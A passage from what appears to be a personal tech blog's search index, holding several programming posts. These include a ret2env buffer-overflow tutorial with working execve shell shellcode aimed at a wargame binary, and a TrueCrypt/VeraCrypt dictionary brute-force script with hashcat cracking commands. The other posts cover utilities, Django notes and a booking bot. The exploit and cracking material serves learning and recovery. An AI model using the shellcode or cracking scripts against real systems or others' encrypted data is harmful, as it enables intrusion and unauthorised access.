printf(\u0026#34;Adjusted pointer for %s: %p\\n\u0026#34;, argv[2], ptr); } return 0; } Usage Example Export your shellcode with a leading NOP sled:\nexport EGG=$(python -c \u0026#34;print \u0026#39;\\x90\u0026#39;*64 + \u0026#39;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\u0026#39;\u0026#34;) Compile the helper and query the address for your target binary:\ngcc getenv.c -o getenv ./getenv EGG /levels/level06 # Adjusted pointer for /levels/level06: 0xbffffde4 Deploy the target address into your buffer overflow return address slot.\n","permalink":"/get-environment-variable-memory-address/","summary":"\u003cp\u003eWhen exploiting buffer overflows in space-constrained stack frames (e.g., when the vulnerable buffer is only 20 or 30 bytes), you cannot fit a standard 50-byte shellcode payload directly on the stack.\u003c/p\u003e\n\u003cp\u003eA classic exploitation technique is \u003cstrong\u003eret2env\u003c/strong\u003e: injecting the shellcode into an environment variable (\u003ccode\u003eexport EGG=...\u003c/code\u003e) and redirecting execution to its address located near the high end of the process address space.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"why-addresses-shift\"\u003eWhy Addresses Shift\u003c/h3\u003e\n\u003cp\u003eEnvironment variables reside at the top of the user stack directly below the initial stack frame. Because the program name (\u003ccode\u003eargv[0]\u003c/code\u003e) is pushed onto the stack immediately following the environment pointer (\u003ccode\u003eenvp\u003c/code\u003e), the exact address of an environment variable depends slightly on the length of the binary name:\u003c/p\u003e","title":"Locating Environment Variable Memory Addresses for Exploit Payloads"},{"content":"When developing CLI utilities, long-running batch jobs, or automation scripts, providing real-time visual feedback improves user experience. While libraries like tqdm or rich are excellent, standalone scripts or restricted production environments often benefit from a pure standard-library implementation without external dependencies.\nMinimal Standard-Library Progress Bar By leveraging the carriage return character (\\r), the terminal cursor returns to the start of the current line rather than advancing to a new line. Pairing this with sys.stdout.flush() forces immediate buffer rendering:\nimport sys import time def progress_bar(iteration, total, prefix=\u0026#34;Progress:\u0026#34;, suffix=\u0026#34;Complete\u0026#34;, length=30): \u0026#34;\u0026#34;\u0026#34; Renders an inline terminal progress bar. \u0026#34;\u0026#34;\u0026#34; percent = f\u0026#34;{100 * (iteration / float(total)):.1f}\u0026#34; filled_len = int(length * iteration // total) bar = \u0026#34;=\u0026#34; * filled_len + \u0026#34;-\u0026#34; * (length - filled_len) # \\r resets cursor to beginning of line sys.stdout.write(f\u0026#34;\\r{prefix} [{bar}] {percent}% {suffix}\u0026#34;) sys.stdout.flush() # Print a newline once completed if iteration == total: sys.stdout.write(\u0026#34;\\n\u0026#34;) Example Usage Simulate a task processing 50 discrete units:\nimport time total_tasks = 50 print(\u0026#34;Starting processing batch...\u0026#34;) for i in range(1, total_tasks + 1): time.sleep(0.05) # Simulate payload work progress_bar(i, total_tasks, prefix=\u0026#34;Processing\u0026#34;, suffix=\u0026#34;Done\u0026#34;, length=40) print(\u0026#34;Batch processing complete.\u0026#34;) Output:\nProcessing [========================================] 100.0% Done Batch processing complete. ","permalink":"/python-progress-bar/","summary":"\u003cp\u003eWhen developing CLI utilities, long-running batch jobs, or automation scripts, providing real-time visual feedback improves user experience. While libraries like \u003ccode\u003etqdm\u003c/code\u003e or \u003ccode\u003erich\u003c/code\u003e are excellent, standalone scripts or restricted production environments often benefit from a pure standard-library implementation without external dependencies.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"minimal-standard-library-progress-bar\"\u003eMinimal Standard-Library Progress Bar\u003c/h2\u003e\n\u003cp\u003eBy leveraging the carriage return character (\u003ccode\u003e\\r\u003c/code\u003e), the terminal cursor returns to the start of the current line rather than advancing to a new line. Pairing this with \u003ccode\u003esys.stdout.flush()\u003c/code\u003e forces immediate buffer rendering:\u003c/p\u003e","title":"Building Lightweight Terminal Progress Bars in Pure Python"},{"content":"Redundant and duplicated files consume valuable disk capacity and complicate backup management. Because identical files often have different names or modification timestamps, simple filename comparisons are insufficient.\nBy computing cryptographic checksums (MD5 or SHA-256) for each file\u0026rsquo;s binary content, we can reliably group and identify duplicate files across extensive filesystem trees.\nPython Duplicate File Scanner This script traverses the target directory recursively, calculates chunked cryptographic checksums to minimize memory usage, and prompts interactively to safely delete redundant copies.\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; Duplicate File Finder Author: Ahmad Mahfouz (_N1X_) Description: Detects duplicate files across a directory tree using cryptographic hashing. \u0026#34;\u0026#34;\u0026#34; import os import sys import hashlib from collections import defaultdict CHUNK_SIZE = 65536 # 64 KB read buffer def compute_hash(filepath, algorithm=\u0026#34;sha256\u0026#34;): \u0026#34;\u0026#34;\u0026#34;Computes the hash of a file efficiently in chunked streams.\u0026#34;\u0026#34;\u0026#34; hasher = hashlib.new(algorithm) try: with open(filepath, \u0026#34;rb\u0026#34;) as f: while chunk := f.read(CHUNK_SIZE): hasher.update(chunk) return hasher.hexdigest() except (PermissionError, OSError) as e: print(f\u0026#34;[!] Warning: Cannot read {filepath}: {e}\u0026#34;) return None def find_duplicates(target_dir): \u0026#34;\u0026#34;\u0026#34;Scans target_dir and groups identical files by hash.\u0026#34;\u0026#34;\u0026#34; hashes = defaultdict(list) total_scanned = 0 print(f\u0026#34;[*] Starting scan on: {os.path.abspath(target_dir)}\u0026#34;) for root, _, files in os.walk(target_dir): for filename in files: filepath = os.path.join(root, filename) # Skip symlinks to avoid duplicate loops if os.path.islink(filepath): continue file_hash = compute_hash(filepath) if file_hash: hashes[file_hash].append(filepath) total_scanned += 1 if total_scanned % 100 == 0: print(f\u0026#34;\\r[*] Processed {total_scanned} files...\u0026#34;, end=\u0026#34;\u0026#34;, flush=True) print(f\u0026#34;\\r[*] Completed scan. Total files analyzed: {total_scanned}\\n\u0026#34;) return {h: paths for h, paths in hashes.items() if len(paths) \u0026gt; 1} def review_and_clean(duplicates): \u0026#34;\u0026#34;\u0026#34;Prompts the user interactively to inspect and remove duplicates.\u0026#34;\u0026#34;\u0026#34; if not duplicates: print(\u0026#34;[+] No duplicate files detected.\u0026#34;) return print(f\u0026#34;[+] Found {len(duplicates)} sets of duplicate files:\\n\u0026#34;) for file_hash, paths in duplicates.items(): print(f\u0026#34;Checksum: {file_hash}\u0026#34;) for idx, path in enumerate(paths, 1): size_kb = os.path.getsize(path) / 1024 print(f\u0026#34; [{idx}] {path} ({size_kb:.2f} KB)\u0026#34;) confirm = input(\u0026#34;Enter file numbers to delete separated by commas (or press Enter to skip): \u0026#34;).strip() if confirm: choices = [int(c.strip()) for c in confirm.split(\u0026#34;,\u0026#34;) if c.strip().isdigit()] for choice in choices: if 1 \u0026lt;= choice \u0026lt;= len(paths): target_to_remove = paths[choice - 1] try: os.remove(target_to_remove) print(f\u0026#34; [-] Removed: {target_to_remove}\u0026#34;) except OSError as e: print(f\u0026#34; [!] Failed to remove {target_to_remove}: {e}\u0026#34;) print(\u0026#34;-\u0026#34; * 50) if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) \u0026lt; 2: print(\u0026#34;Usage: python find_duplicates.py \u0026lt;directory_path\u0026gt;\u0026#34;) sys.exit(1) target_directory = sys.argv[1] if not os.path.isdir(target_directory): print(f\u0026#34;Error: Directory \u0026#39;{target_directory}\u0026#39; does not exist.\u0026#34;) sys.exit(1) dup_map = find_duplicates(target_directory) review_and_clean(dup_map) ","permalink":"/duplicate-file-finder-md5sum/","summary":"\u003cp\u003eRedundant and duplicated files consume valuable disk capacity and complicate backup management. Because identical files often have different names or modification timestamps, simple filename comparisons are insufficient.\u003c/p\u003e\n\u003cp\u003eBy computing cryptographic checksums (MD5 or SHA-256) for each file\u0026rsquo;s binary content, we can reliably group and identify duplicate files across extensive filesystem trees.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"python-duplicate-file-scanner\"\u003ePython Duplicate File Scanner\u003c/h2\u003e\n\u003cp\u003eThis script traverses the target directory recursively, calculates chunked cryptographic checksums to minimize memory usage, and prompts interactively to safely delete redundant copies.\u003c/p\u003e","title":"Duplicate File Finder via Cryptographic Hashes in Python"},{"content":"Encrypted disk containers generated by TrueCrypt (and modern successors like VeraCrypt) do not contain detectable headers or magic bytes. The container appears indistinguishable from random noise, protecting against forensic identification.\nDuring forensic investigations or lost credential recovery, if specialized GPU cracking tools (such as Hashcat or John the Ripper) are unavailable, you can audit container passwords using a headless CLI mounting script.\nPython Dictionary Testing Script (tc_crack.py) This script iterates through a wordlist, attempting non-interactive mount commands against the target container file until a successful exit status is returned:\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; TrueCrypt / VeraCrypt Automated Container Password Auditor Author: Ahmad Mahfouz (n1x) \u0026#34;\u0026#34;\u0026#34; import sys import subprocess import os def audit_container(container_path, wordlist_path): if not os.path.exists(container_path): sys.exit(f\u0026#34;[-] Container file not found: {container_path}\u0026#34;) if not os.path.exists(wordlist_path): sys.exit(f\u0026#34;[-] Wordlist file not found: {wordlist_path}\u0026#34;) print(f\u0026#34;[*] Starting dictionary audit against: {container_path}\u0026#34;) with open(wordlist_path, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;) as f: for line in f: password = line.strip() if not password: continue # Command attempts non-interactive mounting # For VeraCrypt, replace \u0026#39;truecrypt\u0026#39; with \u0026#39;veracrypt\u0026#39; cmd = [ \u0026#34;truecrypt\u0026#34;, \u0026#34;-t\u0026#34;, \u0026#34;--non-interactive\u0026#34;, container_path, \u0026#34;-p\u0026#34;, password, \u0026#34;--protect-hidden=no\u0026#34; ] proc = subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True) if \u0026#34;Error\u0026#34; not in proc.stderr and proc.returncode == 0: print(f\u0026#34;\\n[+] Password Found: {password}\u0026#34;) # Cleanly dismount after discovery subprocess.run([\u0026#34;truecrypt\u0026#34;, \u0026#34;-d\u0026#34;, container_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) return True print(\u0026#34;[-] Finished wordlist. Password not found.\u0026#34;) return False if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) \u0026lt; 3: print(f\u0026#34;Usage: python3 {sys.argv[0]} \u0026lt;container_path\u0026gt; \u0026lt;wordlist_path\u0026gt;\u0026#34;) sys.exit(1) audit_container(sys.argv[1], sys.argv[2]) Modern High-Performance Alternative: Hashcat While CLI automation is portable and requires zero compilation, high-speed recovery on multi-core GPUs should be executed via Hashcat:\nExtract the container header: dd if=secret.tc of=tc_header.raw bs=512 count=1 Run Hashcat against TrueCrypt modes (e.g. Mode 6211 for RIPEMD160 + AES): hashcat -m 6211 -a 0 tc_header.raw /usr/share/wordlists/rockyou.txt ","permalink":"/truecrypt-password-bruteforce/","summary":"\u003cp\u003eEncrypted disk containers generated by TrueCrypt (and modern successors like VeraCrypt) do not contain detectable headers or magic bytes. The container appears indistinguishable from random noise, protecting against forensic identification.\u003c/p\u003e\n\u003cp\u003eDuring forensic investigations or lost credential recovery, if specialized GPU cracking tools (such as Hashcat or John the Ripper) are unavailable, you can audit container passwords using a headless CLI mounting script.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"python-dictionary-testing-script-tc_crackpy\"\u003ePython Dictionary Testing Script (\u003ccode\u003etc_crack.py\u003c/code\u003e)\u003c/h3\u003e\n\u003cp\u003eThis script iterates through a wordlist, attempting non-interactive mount commands against the target container file until a successful exit status is returned:\u003c/p\u003e","title":"TrueCrypt / VeraCrypt Password Auditing via Dictionary Automation"},{"content":"A quick-reference architectural guide covering essential patterns in Django web applications: querysets, signals, raw database queries, session handling, and authentication.\n1. Django ORM Query Patterns # Query basic datasets Article.objects.all() Article.objects.all().count() Article.objects.filter(is_published=True).exists() # Slicing (LIMIT and OFFSET) Article.objects.filter(is_published=True)[:5] # Specific field projections Article.objects.filter(is_published=True).values(\u0026#39;title\u0026#39;, \u0026#39;created_at\u0026#39;)[:5] # Ordering Article.objects.filter(is_published=True).order_by(\u0026#39;-created_at\u0026#39;) # Field lookups and date filtering from datetime import datetime Article.objects.filter(created_at__gte=datetime(2025, 1, 1)) Article.objects.filter(created_at__year=2025).order_by(\u0026#39;id\u0026#39;) # Inspect underlying compiled SQL query = Article.objects.filter(is_published=True) print(str(query.query)) 2. Raw SQL and Database Connections When complex reporting queries or performance bottlenecks require bypassing the ORM:\nRaw QuerySet Mapping for article in Article.objects.raw(\u0026#34;SELECT id, title FROM myapp_article WHERE is_published = %s\u0026#34;, [True]): print(article.id, article.title) Direct Database Cursor Execution from django.db import connection def fetch_custom_report(): with connection.cursor() as cursor: cursor.execute(\u0026#34;SELECT category, COUNT(*) FROM myapp_article GROUP BY category\u0026#34;) rows = cursor.fetchall() return rows 3. Signal Handlers and Dispatchers Signals allow decoupled components to react to events across models and HTTP requests.\nBuilt-in Model Signals (post_save) In signals.py:\nfrom django.db.models.signals import post_save from django.dispatch import receiver from myapp.models import Article @receiver(post_save, sender=Article) def notify_subscribers_on_publish(sender, instance, created, **kwargs): if created and instance.is_published: print(f\u0026#34;[+] New article published: {instance.title}\u0026#34;) Register the signals module in your app\u0026rsquo;s apps.py:\nfrom django.apps import AppConfig class MyAppConfig(AppConfig): default_auto_field = \u0026#39;django.db.models.BigAutoField\u0026#39; name = \u0026#39;myapp\u0026#39; def ready(self): import myapp.signals Custom Application Signals from django.dispatch import Signal # Define a custom signal payment_verified = Signal() # Dispatch the signal in a view or service payment_verified.send(sender=Order, order_id=1042, amount=99.00) # Connect a listener handler @receiver(payment_verified) def handle_payment_completed(sender, **kwargs): print(f\u0026#34;Receipt issued for order {kwargs.get(\u0026#39;order_id\u0026#39;)}\u0026#34;) 4. Session Management Manage user session state across HTTP transactions:\ndef user_dashboard(request): # Set session variable request.session[\u0026#39;has_visited_dashboard\u0026#39;] = True # Retrieve session variable with fallback theme_preference = request.session.get(\u0026#39;theme\u0026#39;, \u0026#39;dark\u0026#39;) # Check session existence if \u0026#39;auth_token\u0026#39; in request.session: # Perform authenticated tasks pass 5. Custom Authentication Backend Extend Django\u0026rsquo;s standard authentication mechanisms to support email-based authentication, LDAP, or corporate single sign-on (SSO):\nfrom django.contrib.auth.backends import ModelBackend from django.contrib.auth import get_user_model UserModel = get_user_model() class EmailAuthBackend(ModelBackend): \u0026#34;\u0026#34;\u0026#34; Authenticate users using an email address instead of a username. \u0026#34;\u0026#34;\u0026#34; def authenticate(self, request, username=None, password=None, **kwargs): email = kwargs.get(\u0026#39;email\u0026#39;, username) if email is None: return None try: user = UserModel.objects.get(email=email) except UserModel.DoesNotExist: # Run default password hasher to mitigate timing attacks UserModel().set_password(password) return None if user.check_password(password) and self.user_can_authenticate(user): return user return None Register the backend in settings.py:\nAUTHENTICATION_BACKENDS = [ \u0026#39;myapp.backends.EmailAuthBackend\u0026#39;, \u0026#39;django.contrib.auth.backends.ModelBackend\u0026#39;, ] ","permalink":"/django-notes/","summary":"\u003cp\u003eA quick-reference architectural guide covering essential patterns in Django web applications: querysets, signals, raw database queries, session handling, and authentication.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-django-orm-query-patterns\"\u003e1. Django ORM Query Patterns\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Query basic datasets\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eArticle\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eobjects\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eall()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eArticle\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eobjects\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eall()\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ecount()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eArticle\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eobjects\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003efilter(is_published\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eexists()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Slicing (LIMIT and OFFSET)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eArticle\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eobjects\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003efilter(is_published\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e)[:\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Specific field projections\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eArticle\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eobjects\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003efilter(is_published\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003evalues(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;title\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;created_at\u0026#39;\u003c/span\u003e)[:\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Ordering\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eArticle\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eobjects\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003efilter(is_published\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eorder_by(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;-created_at\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Field lookups and date filtering\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e datetime \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e datetime\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eArticle\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eobjects\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003efilter(created_at__gte\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003edatetime(\u003cspan style=\"color:#ae81ff\"\u003e2025\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eArticle\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eobjects\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003efilter(created_at__year\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2025\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eorder_by(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Inspect underlying compiled SQL\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003equery \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e Article\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eobjects\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003efilter(is_published\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint(str(query\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003equery))\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"2-raw-sql-and-database-connections\"\u003e2. Raw SQL and Database Connections\u003c/h2\u003e\n\u003cp\u003eWhen complex reporting queries or performance bottlenecks require bypassing the ORM:\u003c/p\u003e","title":"Django Architecture Cheat Sheet: ORM, Signals, Sessions, and Auth"},{"content":"During peak holiday seasons, securing airline seats on heavily booked routes often requires repeatedly checking booking engines for cancellations.\nUsing browser automation frameworks like Splinter (an abstraction layer built on top of Selenium WebDriver), we can automate the search loop, detect flight inventory releases, fill passenger details, and hold reservations automatically.\nWhat is Splinter? Splinter provides a pythonic API for browser automation. It allows developers to:\nNavigate web portals and wait for elements. Select radio buttons, dropdowns, and checkboxes. Fill form fields and submit via JavaScript execution. Inspect rendered DOM structures and handle session timeouts. Automated Booking Workflow The script continuously queries available flight options for specific routes and travel dates. If the airline portal reports \u0026ldquo;no flights available\u0026rdquo; or sessions expire, it automatically restarts the search until seats open up, then populates passenger credentials:\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; Automated Flight Search and Booking Assistant Author: Ahmad Mahfouz (_N1X_) \u0026#34;\u0026#34;\u0026#34; import time import sys from splinter import Browser def check_flight_availability(): # Launch browser automation instance (e.g., Firefox or Chrome) with Browser(\u0026#39;chrome\u0026#39;) as browser: url = \u0026#39;https://www.example-airline.com/booking\u0026#39; browser.visit(url) # 1. Configure Search Criteria browser.find_by_name(\u0026#39;TRIP_TYPE\u0026#39;)[2].click() # One-way journey browser.fill(\u0026#39;ORIGIN_AIRPORT\u0026#39;, \u0026#39;DMM\u0026#39;) # Dammam browser.fill(\u0026#39;DEST_AIRPORT\u0026#39;, \u0026#39;RUH\u0026#39;) # Riyadh browser.select(\u0026#39;DEPARTURE_DAY\u0026#39;, \u0026#39;15\u0026#39;) browser.select(\u0026#39;DEPARTURE_MONTH\u0026#39;, \u0026#39;122026\u0026#39;) browser.select(\u0026#39;CABIN_CLASS\u0026#39;, \u0026#39;Economy\u0026#39;) browser.select(\u0026#39;NUM_ADULTS\u0026#39;, \u0026#39;1\u0026#39;) # Submit availability search browser.find_by_id(\u0026#34;submitFlightSearch\u0026#34;).click() # 2. Polling and Retry Loop unavailable_text = \u0026#34;Flights are not available for the date / time specified\u0026#34; session_timeout_text = \u0026#34;Your session has timed out\u0026#34; if browser.is_text_present(unavailable_text) or browser.is_text_present(session_timeout_text): print(\u0026#34;[-] No seats currently available. Retrying...\u0026#34;) time.sleep(10) return False # 3. Select First Available Flight print(\u0026#34;[+] Flight found! Selecting fare...\u0026#34;) browser.find_by_css(\u0026#34;.flight-select-radio\u0026#34;).first.click() browser.execute_script(\u0026#34;document.getElementById(\u0026#39;passengerForm\u0026#39;).submit();\u0026#34;) # 4. Populate Passenger Information browser.select(\u0026#39;TITLE_1\u0026#39;, \u0026#39;MR\u0026#39;) browser.fill(\u0026#39;FIRST_NAME_1\u0026#39;, \u0026#39;John\u0026#39;) browser.fill(\u0026#39;LAST_NAME_1\u0026#39;, \u0026#39;Doe\u0026#39;) browser.select(\u0026#39;NATIONALITY_1\u0026#39;, \u0026#39;SA\u0026#39;) browser.fill(\u0026#39;CONTACT_PHONE\u0026#39;, \u0026#39;+966500000000\u0026#39;) browser.fill(\u0026#39;CONTACT_EMAIL\u0026#39;, \u0026#39;user@example.com\u0026#39;) # Accept terms and proceed to payment browser.check(\u0026#39;TERMS_CONDITIONS\u0026#39;) browser.execute_script(\u0026#34;document.getElementById(\u0026#39;checkoutForm\u0026#39;).submit();\u0026#34;) # 5. Extract Booking Reference if \u0026#34;recordLocator\u0026#34; in browser.html: booking_ref = browser.find_by_id(\u0026#34;bookingReference\u0026#34;).text print(f\u0026#34;[+] Reservation Confirmed! PNR: {booking_ref}\u0026#34;) return True return False def main(): max_retries = 100 attempt = 1 while attempt \u0026lt;= max_retries: print(f\u0026#34;[*] Search attempt #{attempt}...\u0026#34;) success = check_flight_availability() if success: print(\u0026#34;[+] Booking process completed successfully.\u0026#34;) break attempt += 1 time.sleep(5) if __name__ == \u0026#34;__main__\u0026#34;: main() ","permalink":"/automatic-flight-ticket-script/","summary":"\u003cp\u003eDuring peak holiday seasons, securing airline seats on heavily booked routes often requires repeatedly checking booking engines for cancellations.\u003c/p\u003e\n\u003cp\u003eUsing browser automation frameworks like \u003cstrong\u003eSplinter\u003c/strong\u003e (an abstraction layer built on top of Selenium WebDriver), we can automate the search loop, detect flight inventory releases, fill passenger details, and hold reservations automatically.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"what-is-splinter\"\u003eWhat is Splinter?\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://splinter.readthedocs.io/\"\u003eSplinter\u003c/a\u003e provides a pythonic API for browser automation. It allows developers to:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNavigate web portals and wait for elements.\u003c/li\u003e\n\u003cli\u003eSelect radio buttons, dropdowns, and checkboxes.\u003c/li\u003e\n\u003cli\u003eFill form fields and submit via JavaScript execution.\u003c/li\u003e\n\u003cli\u003eInspect rendered DOM structures and handle session timeouts.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"automated-booking-workflow\"\u003eAutomated Booking Workflow\u003c/h2\u003e\n\u003cp\u003eThe script continuously queries available flight options for specific routes and travel dates. If the airline portal reports \u0026ldquo;no flights available\u0026rdquo; or sessions expire, it automatically restarts the search until seats open up, then populates passenger credentials:\u003c/p\u003e","title":"Automated Flight Ticket Booking and Availability Monitoring with Splinter"},{"content":"Monitoring volatile market movements often requires immediate notifications without constantly watching browser tabs or mobile trading apps.\nBy combining public REST APIs with native Linux desktop notification tools (notify-send) and speech synthesis engines (espeak), we can build a lightweight background tracker that speaks out when price targets are reached.\nPrerequisites On Debian/Ubuntu systems, install espeak and libnotify-bin:\nsudo apt-get install -y espeak libnotify-bin Python Price Alert Script The script queries a public ticker API, evaluates target price thresholds, and delivers desktop notifications alongside synthesized voice alerts:\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; Cryptocurrency Price Monitor with Speech and Desktop Alerts Author: Ahmad Mahfouz (_N1X_) \u0026#34;\u0026#34;\u0026#34; import sys import time import datetime import subprocess import requests API_URL = \u0026#34;https://api.coingecko.com/api/v3/simple/price?ids=bitcoin\u0026amp;vs_currencies=usd\u0026#34; def trigger_alert(current_price): \u0026#34;\u0026#34;\u0026#34;Dispatches audio and GUI alerts on Linux desktops.\u0026#34;\u0026#34;\u0026#34; message = f\u0026#34;Bitcoin target reached: ${current_price:,.2f}\u0026#34; print(f\u0026#34;\\n[!] ALERT: {message}\u0026#34;) # Desktop notification subprocess.run([\u0026#34;notify-send\u0026#34;, \u0026#34;Crypto Alert\u0026#34;, message]) # Text-to-speech audio announcement subprocess.run([\u0026#34;espeak\u0026#34;, f\u0026#34;Bitcoin price is now {int(current_price)} dollars\u0026#34;]) def monitor(target_price, poll_interval=15): print(f\u0026#34;[*] Monitoring Bitcoin price. Target threshold: ${target_price:,.2f}\u0026#34;) while True: try: response = requests.get(API_URL, timeout=10) data = response.json() current_price = float(data[\u0026#34;bitcoin\u0026#34;][\u0026#34;usd\u0026#34;]) timestamp = datetime.datetime.now().strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;) print(f\u0026#34;[{timestamp}] Current: ${current_price:,.2f} | Target: ${target_price:,.2f}\u0026#34;) if current_price \u0026gt;= target_price: trigger_alert(current_price) break except requests.exceptions.RequestException as e: print(f\u0026#34;[!] Network error: {e}\u0026#34;) subprocess.run([\u0026#34;espeak\u0026#34;, \u0026#34;Connection warning\u0026#34;]) time.sleep(poll_interval) if __name__ 